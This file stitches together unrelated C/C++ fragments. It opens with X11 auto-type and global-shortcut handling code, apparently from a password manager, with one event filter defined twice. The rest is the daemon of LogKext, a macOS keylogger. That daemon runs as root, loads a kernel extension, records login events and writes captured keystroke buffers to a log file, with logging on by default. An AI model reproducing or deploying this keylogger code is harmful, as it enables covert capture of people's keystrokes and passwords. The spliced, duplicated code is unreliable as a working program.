AutoTypePlatformX11::AutoTypePlatformX11()
{
m_dpy = QX11Info::display();
m_rootWindow = QX11Info::appRootWindow();
m_atomWmState = XInternAtom(m_dpy, "WM_STATE", true);
m_atomWmName = XInternAtom(m_dpy, "WM_NAME", true);
m_atomNetWmName = XInternAtom(m_dpy, "_NET_WM_NAME", true);
m_atomString = XInternAtom(m_dpy, "STRING", true);
m_atomUtf8String = XInternAtom(m_dpy, "UTF8_STRING", true);
m_atomNetActiveWindow = XInternAtom(m_dpy, "_NET_ACTIVE_WINDOW", true);
m_classBlacklist << "desktop_window" << "gnome-panel"; // Gnome
m_classBlacklist << "kdesktop" << "kicker"; // KDE 3
m_classBlacklist << "Plasma"; // KDE 4
m_classBlacklist << "plasmashell"; // KDE 5
m_classBlacklist << "xfdesktop" << "xfce4-panel"; // Xfce 4
m_currentGlobalKey = static_cast<Qt::Key>(0);
m_currentGlobalModifiers = 0;
m_keysymTable = nullptr;
m_xkb = nullptr;
m_remapKeycode = 0;
m_currentRemapKeysym = NoSymbol;
m_modifierMask = ControlMask | ShiftMask | Mod1Mask | Mod4Mask;
m_loaded = true;
updateKeymap();
}
int AutoTypePlatformX11::platformEventFilter(void* event)
{
xcb_generic_event_t* genericEvent = static_cast<xcb_generic_event_t*>(event);
quint8 type = genericEvent->response_type & 0x7f;
if (type == XCB_KEY_PRESS || type == XCB_KEY_RELEASE) {
xcb_key_press_event_t* keyPressEvent = static_cast<xcb_key_press_event_t*>(event);
if (keyPressEvent->detail == m_currentGlobalKeycode
&& (keyPressEvent->state & m_modifierMask) == m_currentGlobalNativeModifiers
&& !QApplication::focusWidget()
&& m_loaded) {
if (type == XCB_KEY_PRESS) {
Q_EMIT globalShortcutTriggered();
}
return 1;
}
}
else if (type == XCB_MAPPING_NOTIFY) {
xcb_mapping_notify_event_t* mappingNotifyEvent = static_cast<xcb_mapping_notify_event_t*>(event);
if (mappingNotifyEvent->request == XCB_MAPPING_KEYBOARD
|| mappingNotifyEvent->request == XCB_MAPPING_MODIFIER)
{
XMappingEvent xMappingEvent;
memset(&xMappingEvent, 0, sizeof(xMappingEvent));
xMappingEvent.type = MappingNotify;
xMappingEvent.display = m_dpy;
if (mappingNotifyEvent->request == XCB_MAPPING_KEYBOARD) {
xMappingEvent.request = MappingKeyboard;
}
else {
xMappingEvent.request = MappingModifier;
}
xMappingEvent.first_keycode = mappingNotifyEvent->first_keycode;
xMappingEvent.count = mappingNotifyEvent->count;
XRefreshKeyboardMapping(&xMappingEvent);
updateKeymap();
}
}
return -1;
}
int AutoTypePlatformX11::platformEventFilter(void* event)
{
XEvent* xevent = static_cast<XEvent*>(event);
if ((xevent->type == KeyPress || xevent->type == KeyRelease)
&& m_currentGlobalKey
&& xevent->xkey.keycode == m_currentGlobalKeycode
&& (xevent->xkey.state & m_modifierMask) == m_currentGlobalNativeModifiers
&& !QApplication::focusWidget()
&& m_loaded) {
if (xevent->type == KeyPress) {
Q_EMIT globalShortcutTriggered();
}
return 1;
}
if (xevent->type == MappingNotify && m_loaded) {
XRefreshKeyboardMapping(reinterpret_cast<XMappingEvent*>(xevent));
updateKeymap();
}
return -1;
}
int main()
{
if (geteuid())
{
syslog(LOG_ERR,"Error: Daemon must run as root.");
exit(geteuid());
}
encrypt_buffer = CFDataCreateMutable(kCFAllocatorDefault,8);
/*********Set up File**********/
if (!(pathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN)))
{
pathName = CFSTR(DEFAULT_PATHNAME);
CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN);
}
CFURLRef logPathURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false);
logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,logPathURL);
CFRelease(logPathURL);
if (!logStream)
{
syslog(LOG_ERR,"Error: Couldn't open file stream at start.");
return 1;
}
/*********Check encryption & keymap**********/
updateEncryption();
updateKeymap();
/*********Check space**********/
if (outOfSpace(pathName))
{
stamp_file(CFSTR("Not enough disk space remaining!"));
CFRunLoopStop(CFRunLoopGetCurrent());
}
/*********Connect to kernel extension**********/
if (!connectToKext())
{
if (load_kext())
{
stamp_file(CFSTR("Could not load KEXT"));
return 1;
}
if (!connectToKext())
{
stamp_file(CFSTR("Could not connect with KEXT"));
return 1;
}
}
sleep(1); // just a little time to let the kernel notification handlers finish
stamp_file(CFSTR("LogKext Daemon starting up"));
// stamp login file with initial user
LoginLogoutCallBackFunction(NULL, NULL, NULL);
CFPreferencesAppSynchronize(PREF_DOMAIN);
/*********Create Daemon Timer source**********/
CFRunLoopTimerContext timerContext = { 0 };
CFRunLoopSourceRef loginLogoutSource;
if (InstallLoginLogoutNotifiers(&loginLogoutSource))
syslog(LOG_ERR,"Error: could not install login notifier");
else
CFRunLoopAddSource(CFRunLoopGetCurrent(),loginLogoutSource, kCFRunLoopDefaultMode);
CFRunLoopTimerRef daemonTimer = CFRunLoopTimerCreate(NULL, 0, TIME_TO_SLEEP, 0, 0, DaemonTimerCallback, &timerContext);
CFRunLoopAddTimer(CFRunLoopGetCurrent(), daemonTimer, kCFRunLoopCommonModes);
CFRunLoopRun();
stamp_file(CFSTR("Server error: closing Daemon"));
CFWriteStreamClose(logStream);
}
void DaemonTimerCallback( CFRunLoopTimerRef timer, void *info )
{
/*********Wait if not logging**********/
Boolean validKey;
CFPreferencesAppSynchronize(PREF_DOMAIN);
CFBooleanRef isLogging = (CFPreferencesGetAppBooleanValue(CFSTR("Logging"),PREF_DOMAIN,&validKey))?kCFBooleanTrue:kCFBooleanFalse;
if (!validKey)
{
isLogging = kCFBooleanTrue;
CFPreferencesSetAppValue(CFSTR("Logging"),isLogging,PREF_DOMAIN);
}
if (!CFBooleanGetValue(isLogging))
return;
/********* Check the buffer **********/
int buffsize=0;
int keys=0;
getBufferSizeAndKeys(&buffsize,&keys);
#ifdef DEBUG
syslog(LOG_ERR,"Buffsize %d, Keys %d.",buffsize,keys);
#endif
if (!keys) // no keyboards logged
return;
if (buffsize < MAX_BUFF_SIZE/10)
return;
/********* Get the buffer **********/
CFStringRef the_buffer = getBuffer();
/********* Check defaults/file **********/
CFStringRef curPathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN);
if (!curPathName) // path has been deleted
{
pathName = CFSTR(DEFAULT_PATHNAME);
CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN);
logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));
if (!logStream)
{
syslog(LOG_ERR,"Error: Couldn't open file stream while running.");
return;
}
}
else if (CFStringCompare(curPathName,pathName,0)!=kCFCompareEqualTo) // path has changed
{
pathName = curPathName;
logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));
if (!logStream)
{
syslog(LOG_ERR,"Error: Couldn't open file stream while running.");
return;
}
CFDataDeleteBytes(encrypt_buffer,CFRangeMake(0,CFDataGetLength(encrypt_buffer)));
}
if (!fileExists(pathName)) // when file is deleted, we resync the encryption & keymap preferences
{
CFPreferencesAppSynchronize(PREF_DOMAIN);
updateEncryption();
updateKeymap();
logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));
if (!logStream)
{
syslog(LOG_ERR,"Error: Couldn't open file stream while running.");
return;
}
stamp_file(CFSTR("LogKext Daemon created new logfile"));
}
if (outOfSpace(pathName))
{
stamp_file(CFSTR("Not enough disk space remaining!"));
return;
}
/********* Finally, write the buffer **********/
write_buffer(the_buffer);
CFRelease(the_buffer);
return;
}